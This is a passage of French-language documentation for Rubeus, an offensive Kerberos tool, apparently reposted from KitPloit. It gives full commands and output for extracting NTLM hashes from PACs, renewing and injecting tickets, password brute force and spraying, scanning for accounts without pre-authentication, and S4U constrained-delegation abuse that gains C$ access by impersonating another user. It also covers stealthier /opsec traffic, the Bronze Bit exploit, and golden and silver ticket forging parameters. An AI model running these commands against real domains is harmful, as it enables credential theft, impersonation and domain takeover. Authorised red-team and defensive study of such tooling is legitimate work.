      PasswordLastSet      : 20/07/2021 21:58:44
      PasswordCanChange    : 21/07/2021 21:58:44
      PasswordMustChange   : 31/08/2021 21:58:44
      EffectiveName        : ccob
      FullName             : C Cob
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 0
      BadPasswordCount     : 0
      UserId               : 1109
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (16) NORMAL_ACCOUNT
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-2
      ResourceGroupCount   : 0
    ClientName             :
      Client Id            : 20/07/2021 21:59:39
      Client Name          : ccob
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_MD5
      Signature            : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : DA57618BB48EA56371E374B1 (UNVALIDATED)

Si le PAC peut être déchiffré (en utilisant une requête user-to-user ou en passant le /servicekey), il est possible d'afficher les arguments nécessaires pour forger un ticket contenant les mêmes valeurs PAC :

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      AgECoQ0wCxsFcm9hc3QbAm1l

  ServiceName              :  roast/me
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  20/07/2021 00:02:27
  EndTime                  :  20/07/2021 09:57:46
  RenewTill                :  26/07/2021 23:57:46
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 19/07/2021 23:00:38
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 14/07/2021 02:07:12
      PasswordCanChange    : 15/07/2021 02:07:12
      PasswordMustChange   :
      EffectiveName        : harmj0y
      FullName             : Harm J0y
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 8
      BadPasswordCount     : 0
      UserId               : 1106
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-1
      ResourceGroupCount   : 0
    CredentialInfo         :
      Version              : 0
      EncryptionType       : rc4_hmac
      CredentialData    :   *** NO KEY ***
    ClientName             :
      Client Id            : 19/07/2021 23:57:46
      Client Name          : harmj0y
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : 96FA020562EE73B38D31AEEF (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)


[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:

/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD

Utilisation de PKINIT pour demander un TGT, puis demande d'un ticket de service user-to-user pour accéder au hash NTLM stocké dans le PAC (en exécutant manuellement le drapeau /getcredentials de asktgt) :

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=

  ServiceName              :  harmj0y
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  19/07/2021 23:01:05
  EndTime                  :  20/07/2021 09:00:38
  RenewTill                :  26/07/2021 23:00:38
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  Qm9zdwFIINSHAAmqaviuEw==
  ASREP (key)              :  CC9D16AB01D1BD0EF9EBD53C8AD536D9
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 19/07/2021 22:59:21
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 14/07/2021 02:07:12
      PasswordCanChange    : 15/07/2021 02:07:12
      PasswordMustChange   :
      EffectiveName        : harmj0y
      FullName             : Harm J0y
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 7
      BadPasswordCount     : 0
      UserId               : 1106
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-1
      ResourceGroupCount   : 0
    CredentialInfo         :
      Version              : 0
      EncryptionType       : rc4_hmac
      CredentialData       :
        CredentialCount    : 1
          NTLM             : C69A7EA908898C23B72E65329AF7E3E8
    ClientName             :
      Client Id            : 19/07/2021 23:00:38
      Client Name          : harmj0y
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_MD5
      Signature            : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : 6CF688E02147BEEC168E0125 (UNVALIDATED)

Remarque : Le /asrepkey provenant de la récupération du TGT doit être passé pour déchiffrer la section CredentialData où le hash NTLM est stocké, mais l'argument /servicekey n'est pas requis ici car la clé de session du TGT est utilisée en raison de la requête user-to-user.

Demande d'un ticket de service en utilisant la session connectée actuelle :``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap


(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/

v2.3.3

[*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):

root@kitploit:~
  doIGvDCCBrigAwIBBaEDAg(..snip..)

ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)

root@kitploit:~
Demande de TGT pour le compte d'ordinateur local via renouvellement. Nécessite un accès administrateur local.  Si Credential Guard est présent, l'utilisation du ticket ne sera pas possible loin de l'hôte.```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):

      doIGuTCCBrWg(...snip...)IFhb3MuZGV2

  ServiceName              :  krbtgt/ghostpack.local
  ServiceRealm             :  GHOSTPACK.LOCAL
  UserName                 :  DC$ (NT_PRINCIPAL)
  UserRealm                :  GHOSTPACK.LOCAL
  StartTime                :  25/02/2025 09:18:37
  EndTime                  :  25/02/2025 11:35:10
  RenewTill                :  02/03/2025 10:35:06
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  k2xUOHFN1Xg(...snip...)

renouvellement

L'action renew construit/analyse un échange TGS-REQ/TGS-REP brut de renouvellement de TGT en utilisant le /ticket:X fourni. Cette valeur peut être un encodage base64 d'un fichier .kirbi ou le chemin d'un fichier .kirbi sur le disque. Si un /dc n'est pas spécifié, le contrôleur de domaine actuel de l'ordinateur est extrait et utilisé comme destination pour le trafic de renouvellement. Le paramètre /ptt effectue un "pass-the-ticket" et applique le justificatif Kerberos résultant à la session de connexion en cours.

Notez que les TGT doivent être renouvelés avant leur EndTime, dans la fenêtre RenewTill.

root@kitploit:~
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

Le paramètre /autorenew prend un fichier/blob .kirbi /ticket:X existant, attend jusqu'à endTime-30 minutes, renouvelle automatiquement le ticket et affiche le blob de ticket actualisé. Il continue ce processus de renouvellement jusqu'à ce que la fenêtre de renouvellement autorisée (renew-till) soit dépassée.

root@kitploit:~
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3

[*] Action: Auto-Renew TGT


[*] User       : [email protected]
[*] endtime    : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

      doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

brute

L'action brute effectue une attaque par force brute de mots de passe ou par pulvérisation de mots de passe basée sur Kerberos. spray peut également être utilisé comme nom de l'action.

root@kitploit:~
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):

      doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...

preauthscan

L'action preauthscan envoie des AS-REQ pour tous les noms d'utilisateur passés dans l'argument /users afin de découvrir les comptes qui ne nécessitent pas de pré-authentification Kerberos.

root@kitploit:~
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication

[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required

Abus de délégation contrainte

Détail des commandes de délégation contrainte :

CommandeDescription
s4uEffectuer les actions S4U2self et S4U2proxy

s4u

L'action s4u est quasiment identique à la fonctionnalité tgs::s4u de Kekeo. Si un compte utilisateur (ou ordinateur) est configuré pour la délégation contrainte (c'est-à-dire qu'il a une valeur SPN dans son champ msds-allowedtodelegateto), cette action peut être utilisée pour abuser de l'accès au SPN/serveur cible. La délégation contrainte est complexe. Pour plus d'informations, voir cet article ou l'article d'Elad Shamir "Wagging the Dog".

Une explication TL;DR est qu'un compte avec délégation contrainte activée est autorisé à demander des tickets pour lui-même en tant que n'importe quel utilisateur, dans un processus appelé S4U2self. Pour qu'un compte soit autorisé à le faire, il doit avoir TrustedToAuthForDelegation activé dans sa propriété useraccountcontrol, ce que seuls les utilisateurs élevés peuvent modifier par défaut. Ce ticket a l'attribut FORWARDABLE activé par défaut. Le service peut ensuite utiliser ce ticket spécialement demandé pour demander un ticket de service à n'importe quel nom de principal de service (SPN) spécifié dans le champ msds-allowedtodelegateto du compte. Bref, si vous contrôlez un compte avec TrustedToAuthForDelegation activé et une valeur dans msds-allowedtodelegateto, vous pouvez vous faire passer pour n'importe quel utilisateur du domaine auprès des SPN définis dans le champ msds-allowedtodelegateto du compte.

Ce "contrôle" peut être le hachage du compte (/rc4 ou /aes256), ou un TGT existant (/ticket:X) pour le compte avec une valeur msds-allowedtodelegateto définie. Si un /user et un hachage rc4/aes256 sont fournis, le module s4u effectue d'abord une action asktgt, en utilisant le ticket retourné pour les étapes suivantes. Si un TGT /ticket:X est fourni, ce TGT est utilisé à la place.

Si un hachage de compte est fourni, le commutateur /nopac peut être utilisé pour demander le TGT initial sans PAC.

L'utilisation d'un proxy KDC (MS-KKDCP) pour effectuer les requêtes est possible en utilisant l'argument /proxyurl:URL. L'URL complète du proxy KDC est requise, par exemple https://kdcproxy.exmaple.com/kdcproxy. Lorsqu'il est utilisé avec la commande s4u, toutes les requêtes seront envoyées via le proxy.

Un paramètre /impersonateuser:X DOIT être fourni au module s4u. Si rien d'autre n'est fourni, seul le processus S4U2self est exécuté, retournant un ticket transférable :

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...

Ce ticket transférable peut ensuite être utilisé comme paramètre /tgs:Y (blob base64 ou fichier .kirbi) pour exécuter le processus S4U2proxy. Une valeur msds-allowedtodelegateto valide pour le compte doit être fournie (/msdsspn:X). Supposons que le compte [email protected] ressemble à ceci :

root@kitploit:~
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local

Ensuite, la fonction d'abus S4U2proxy (utilisant le ticket du processus S4U2self précédent) serait :

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: S4U

[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

Où /ticket:X est le TGT retourné dans la première étape, et /tgs est le ticket S4U2self. L'injection du ticket résultant (manuellement avec Rubeus.exe ptt /ticket:X ou en fournissant le paramètre /ptt à la commande s4u) vous permettra d'accéder au service ldap sur primary.testlab.local comme si vous étiez dfm.a.

Le paramètre /altservice tire parti de la grande découverte d'Alberto Solino sur la façon dont le nom de service (sname) n'est pas protégé dans le fichier KRB-CRED, seul le nom du serveur l'est. Cela permet de substituer n'importe quel nom de service dans le fichier KRB-CRED (.kirbi) résultant. Un ou plusieurs noms de service alternatifs peuvent être fournis, séparés par des virgules (/altservice:cifs,HOST,...).

Étendons l'exemple précédent en forgeant un accès au système de fichiers sur primary.testlab.local en abusant de sa configuration de délégation contrainte et de la substitution de service alternatif. Regroupons tout en une seule étape, en effectuant une demande de TGT, le processus S4U2self, l'exécution S4U2proxy et l'injection du ticket final :

root@kitploit:~
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..

[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

Directory of \\primary.testlab.local\C$

07/05/2018  12:57 PM    <DIR>          dumps
03/05/2017  04:36 PM    <DIR>          inetpub
08/22/2013  07:52 AM    <DIR>          PerfLogs
04/15/2017  05:25 PM    <DIR>          profiles
08/28/2018  11:51 AM    <DIR>          Program Files
08/28/2018  11:51 AM    <DIR>          Program Files (x86)
10/09/2018  12:04 PM    <DIR>          Temp
08/23/2018  03:52 PM    <DIR>          Users
10/25/2018  01:15 PM    <DIR>          Windows
            1 File(s)              9 bytes
            9 Dir(s)  40,511,676,416 bytes free

Par défaut, il existe plusieurs différences entre les TGS-REQ S4U2Self et S4U2Proxy générés par Rubeus et les requêtes authentiques. Pour former des TGS-REQ plus conformes aux requêtes authentiques, le paramètre /opsec peut être utilisé. Comme ce paramètre vise à rendre le trafic Rubeus plus furtif, il ne peut par défaut pas être utilisé avec un type de chiffrement autre que aes256 et se contentera d'afficher un avertissement et de se terminer si un autre type de chiffrement est utilisé. Pour autoriser d'autres types de chiffrement avec les modifications /opsec, le paramètre /force existe. Le paramètre /opsec n'a pas encore été implémenté pour le S4U inter-domaines.

L'exploit Bronze Bit (CVE-2020-17049) est implémenté à l'aide du paramètre /bronzebit. L'ajout de ce paramètre inverse automatiquement le drapeau forwardable lors de la récupération du ticket S4U2Self. Comme cette inversion nécessite le déchiffrement et le rechiffrement du ticket de service, la clé à long terme (le hachage du mot de passe du compte de service) est requise. Pour cette raison, si un TGT est fourni, les identifiants du compte de service sont également nécessaires pour que cela fonctionne.

Dans certaines circonstances, il est possible d'utiliser un ticket S4U2Self pour usurper l'identité d'utilisateurs protégés afin d'élever les privilèges sur le système demandeur, comme discuté ici. À cette fin, le paramètre /self et l'argument /altservice:X peuvent être utilisés pour générer un ticket de service utilisable.

Pour forger un renvoi S4U2Self, seule la clé de confiance est requise. En utilisant l'argument /targetdomain:X avec le paramètre /self et sans l'argument /targetdc, Rubeus traitera le ticket fourni avec /ticket:X comme un renvoi S4U2Self et ne demandera que le ticket de service S4U2Self final. /altservice:X peut également être utilisé pour réécrire le sname dans le ticket résultant :

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):

      doIFETCCBQ...RheS5sYWI=

Falsification de tickets

Détail des commandes de falsification de tickets :

CommandeDescription
goldenForger un ticket d'octroi de ticket (TGT)
silverForger un ticket de service, peut aussi forger des TGT
diamondForger un ticket diamant

Il existe de nombreuses similitudes entre les commandes golden et silver ; la raison de leur séparation est de simplifier la commande golden. Les tickets de service peuvent être beaucoup plus complexes que les TGT avec différentes clés et sections supplémentaires, tandis que les TGT peuvent être forgés avec la commande silver ; golden fournit moins d'arguments potentiels car les fonctionnalités non pertinentes pour les TGT ne sont pas présentes.

La plupart des arguments pour ces deux commandes visent à définir les champs PAC et devraient être assez explicites. Ce sont :| Argument | Description | |----------|-------------| | /user | Utilisé comme utilisateur pour lequel interroger les détails si /ldap est passé, mais aussi utilisé pour définir le champ EffectiveName dans le PAC et le champ cname dans le EncTicketPart | | /dc | Spécifie le contrôleur de domaine utilisé pour la requête LDAP si /ldap est passé, mais aussi utilisé pour définir le champ LogonServer dans le PAC | | /netbios | Définit le champ LogonDomainName dans le PAC | | /sid | Définit le champ LogonDomainId dans le PAC | | /id | Définit le champ UserId dans le PAC (Par défaut : 500) | | /displayname | Définit le champ FullName dans le PAC | | /logoncount | Définit le champ LogonCount dans le PAC (Par défaut : 0) | | /badpwdcount | Définit le champ BadPasswordCount dans le PAC (Par défaut : 0) | | /uac | Définit le champ UAC dans le PAC (Par défaut : NORMAL_ACCOUNT) | | /pgid | Définit le champ PrimaryGroupId dans le PAC et est également ajouté au champ /groups (Par défaut : 513) | | /groups | Séparé par des virgules. Définit le champ Groups dans le PAC, et /pgid y est également ajouté. Le total est également utilisé pour calculer le champ GroupCount (Par défaut : 520,512,513,519,518) | | /homedir | Définit le champ HomeDirectory dans le PAC | | /homedrive | Définit le champ HomeDirectoryDrive dans le PAC | | /profilepath | Définit le champ ProfilePath dans le PAC | | /scriptpath | Définit le champ LogonScript dans le PAC | | /logofftime | Définit le champ LogoffTime dans le PAC. Au format heure locale - Converti automatiquement en UTC | | /lastlogon | Définit le champ LogonTime dans le PAC. Au format heure locale - Converti automatiquement en UTC (Par défaut : starttime - 1 seconde) | | /passlastset | Définit le champ PasswordLastSet dans le PAC. Au format heure locale - Converti automatiquement en UTC | | /minpassage | Définit le champ PasswordCanChange dans le PAC. Ceci est relatif à PasswordLastSet, en nombre de jours, par exemple '5' pour 5 jours | | /maxpassage | Définit le champ PasswordMustChange dans le PAC. Ceci est relatif à PasswordLastSet, en nombre de jours, par exemple '5' pour 5 jours | | /sids | Séparé par des virgules. Définit le champ ExtraSIDs dans le PAC. Il est également utilisé pour calculer le champ ExtraSIDCount | | /resourcegroupsid | Définit le champ ResourceGroupSid dans le PAC. S'il est utilisé, est également requis | | /resourcegroups | Séparé par des virgules. Définit le champ ResourceGroups dans le PAC. Il est également utilisé pour calculer le champ ResourceGroupCount. S'il est utilisé, est également requis |

Les autres arguments communs aux deux commandes mais pour définir des champs en dehors du PAC sont :

Pour les temps relatifs décrits dans les tableaux ci-dessus, le format est un entier utilisé comme multiplicateur suivi d'un seul caractère qui agit comme une plage horaire. La signification de chaque caractère pris en charge est indiquée dans le tableau ci-dessous (Ces caractères sont sensibles à la casse) :

CaractèreDescription
mMinutes
hHeures
dJours
MMois
yAnnées

